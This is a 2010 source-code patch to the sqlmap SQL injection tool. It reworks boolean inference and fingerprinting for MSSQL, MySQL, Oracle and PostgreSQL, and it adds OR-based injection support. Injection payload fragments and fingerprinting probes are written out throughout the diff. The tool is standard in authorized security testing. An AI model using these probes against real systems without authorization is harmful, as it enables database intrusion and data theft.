From d77ddbee47a789cd924623b9b623ba2408dddd45 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 6 Dec 2010 18:20:57 +0000 Subject: [PATCH] OR based inference works for the first time in history and fingerprint of 4 major DBMSes is now injection based (instead of AND) --- lib/controller/checks.py | 17 ++++++----------- lib/core/agent.py | 20 ++++++++++++-------- lib/core/option.py | 1 + lib/request/inject.py | 5 +++++ plugins/dbms/mssqlserver/fingerprint.py | 15 ++++++--------- plugins/dbms/mysql/fingerprint.py | 6 ++---- plugins/dbms/oracle/fingerprint.py | 6 ++---- plugins/dbms/postgresql/fingerprint.py | 6 ++---- 8 files changed, 36 insertions(+), 40 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 485435916..c57cba7ab 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -263,14 +263,12 @@ def checkSqlInjection(place, parameter, value): # test's tag if where == 1: origValue = value + kb.pageTemplate = kb.originalPage elif where == 2: origValue = "-%s" % randomInt() - - # Save original page template and replace with current one + # Use different page template than the original one # as we are changing parameters value, which will result - # most definitely with a different "page template" used by the - # comparison engine - pushValue(kb.pageTemplate) + # most definitely with a different content kb.pageTemplate, _ = Request.queryPage(agent.payload(place, parameter, value, origValue), place, content=True) elif where == 3: origValue = "" @@ -362,10 +360,6 @@ def checkSqlInjection(place, parameter, value): # Restore old value of socket timeout socket.setdefaulttimeout(popValue()) - # Restore page template - if where == 2: - kb.pageTemplate = popValue() - # If the injection test was successful feed the injection # object with the test's details if injectable is True: @@ -395,6 +389,7 @@ def checkSqlInjection(place, parameter, value): injection.data[stype].where = where injection.data[stype].vector = vector injection.data[stype].comment = comment + injection.data[stype].pageTemplate = kb.pageTemplate if "details" in test: for detailKey, detailValue in test.details.items(): @@ -562,7 +557,7 @@ def checkStability(): infoMsg = "testing if the url is stable, wait a few seconds" logger.info(infoMsg) - firstPage = kb.pageTemplate # set inside checkConnection() + firstPage = kb.originalPage # set inside checkConnection() time.sleep(1) secondPage, _ = Request.queryPage(content=True) @@ -758,7 +753,7 @@ def checkConnection(suppressOutput=False): start = time.time() page, _ = Request.queryPage(content=True) kb.responseTime = time.time() - start - kb.pageTemplate = page + kb.originalPage = kb.pageTemplate = page except sqlmapConnectionException, errMsg: errMsg = getUnicode(errMsg) raise sqlmapConnectionException, errMsg diff --git a/lib/core/agent.py b/lib/core/agent.py index e4b02e4eb..2ec2b50c0 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -209,13 +209,17 @@ class Agent: payload = payload.replace("[ORIGVALUE]", origvalue) - if kb.dbms is not None: - inferenceQuery = queries[kb.dbms].inference.query - payload = payload.replace("[INFERENCE]", inferenceQuery) - elif "[INFERENCE]" in payload: - errMsg = "invalid usage of inference payload without knowledge " - errMsg += "of underlying DBMS" - raise sqlmapNoneDataException, errMsg + if "[INFERENCE]" in payload: + if kb.dbms is not None: + inferenceQuery = queries[kb.dbms].inference.query + payload = payload.replace("[INFERENCE]", inferenceQuery) + elif kb.misc.testedDbms is not None: + inferenceQuery = queries[kb.misc.testedDbms].inference.query + payload = payload.replace("[INFERENCE]", inferenceQuery) + else: + errMsg = "invalid usage of inference payload without knowledge " + errMsg += "of underlying DBMS" + raise sqlmapNoneDataException, errMsg return payload @@ -659,7 +663,7 @@ class Agent: @rtype: C{str} """ - return queries[kb.dbms].case.query % expression + return queries[kb.dbms if kb.dbms else kb.misc.testedDbms].case.query % expression def addPayloadDelimiters(self, inpStr): """ diff --git a/lib/core/option.py b/lib/core/option.py index 656cbdded..083923805 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1159,6 +1159,7 @@ def __setKnowledgeBaseAttributes(): kb.nullConnection = None kb.pageTemplate = None + kb.originalPage = None # Back-end DBMS underlying operating system fingerprint via banner (-b) # parsing diff --git a/lib/request/inject.py b/lib/request/inject.py index ae61702da..0996f7599 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -100,8 +100,10 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r if kb.injection.data[1].vector is not None: vector = agent.cleanupPayload(kb.injection.data[1].vector) + kb.pageTemplate = kb.injection.data[1].pageTemplate else: vector = queries[kb.misc.testedDbms].inference.query + kb.pageTemplate = kb.originalPage query = agent.prefixQuery(vector) query = agent.suffixQuery(query) @@ -441,3 +443,6 @@ def goStacked(expression, silent=False): page, _ = Request.queryPage(payload, content=True, silent=silent) return payload, page + +def checkBooleanExpression(expression): + return getValue(agent.forgeCaseStatement(expression), expected="int", charsetType=1) == "1" diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index e2bb4f354..faffe0fb1 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -92,8 +92,7 @@ class Fingerprint(GenericFingerprint): result = True else: randInt = randomInt() - payload = agent.fullPayload("AND BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) - result = Request.queryPage(payload) + result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) if result: infoMsg = "confirming Microsoft SQL Server" @@ -101,13 +100,12 @@ class Fingerprint(GenericFingerprint): for version in (0, 5, 8): randInt = randomInt() - query = "AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) + check = "%d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) if conf.direct: - query = query.replace("AND ", "SELECT 1 WHERE ", 1) + check = "SELECT 1 WHERE " + check - payload = agent.fullPayload(query) - result = Request.queryPage(payload) + result = inject.checkBooleanExpression(check) if result: if version == 8: @@ -126,9 +124,8 @@ class Fingerprint(GenericFingerprint): break else: - query = "AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1)) - payload = agent.fullPayload(query) - result = Request.queryPage(payload) + check = "%d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1)) + result = inject.checkBooleanExpression(check) if result: kb.dbmsVersion = ["7.0"] diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index a991ace7a..459980f51 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -163,15 +163,13 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) randInt = getUnicode(randomInt(1)) - payload = agent.fullPayload("AND CONNECTION_ID()=CONNECTION_ID()") - result = Request.queryPage(payload) + result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()") if result: infoMsg = "confirming MySQL" logger.info(infoMsg) - payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injection.place != PLACE.URI else "AND ISNULL(1 DIV 0)") - result = Request.queryPage(payload) + result = inject.checkBooleanExpression("ISNULL(1/0)" if kb.injection.place != PLACE.URI else "ISNULL(1 DIV 0)") if not result: warnMsg = "the back-end DBMS is not MySQL" diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 97fe32030..ccaf22473 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -80,8 +80,7 @@ class Fingerprint(GenericFingerprint): if conf.direct: result = True else: - payload = agent.fullPayload("AND ROWNUM=ROWNUM") - result = Request.queryPage(payload) + result = inject.checkBooleanExpression("ROWNUM=ROWNUM") if result: logMsg = "confirming Oracle" @@ -92,8 +91,7 @@ class Fingerprint(GenericFingerprint): if conf.direct: result = True else: - payload = agent.fullPayload("AND LENGTH(SYSDATE)=LENGTH(SYSDATE)") - result = Request.queryPage(payload) + result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if not result: warnMsg = "the back-end DBMS is not Oracle" diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 56d875c85..3f76505d9 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -86,15 +86,13 @@ class Fingerprint(GenericFingerprint): randInt = getUnicode(randomInt(1)) - payload = agent.fullPayload("AND %s::int=%s" % (randInt, randInt)) - result = Request.queryPage(payload) + result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt)) if result: infoMsg = "confirming PostgreSQL" logger.info(infoMsg) - payload = agent.fullPayload("AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) - result = Request.queryPage(payload) + result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt)) if not result: warnMsg = "the back-end DBMS is not PostgreSQL"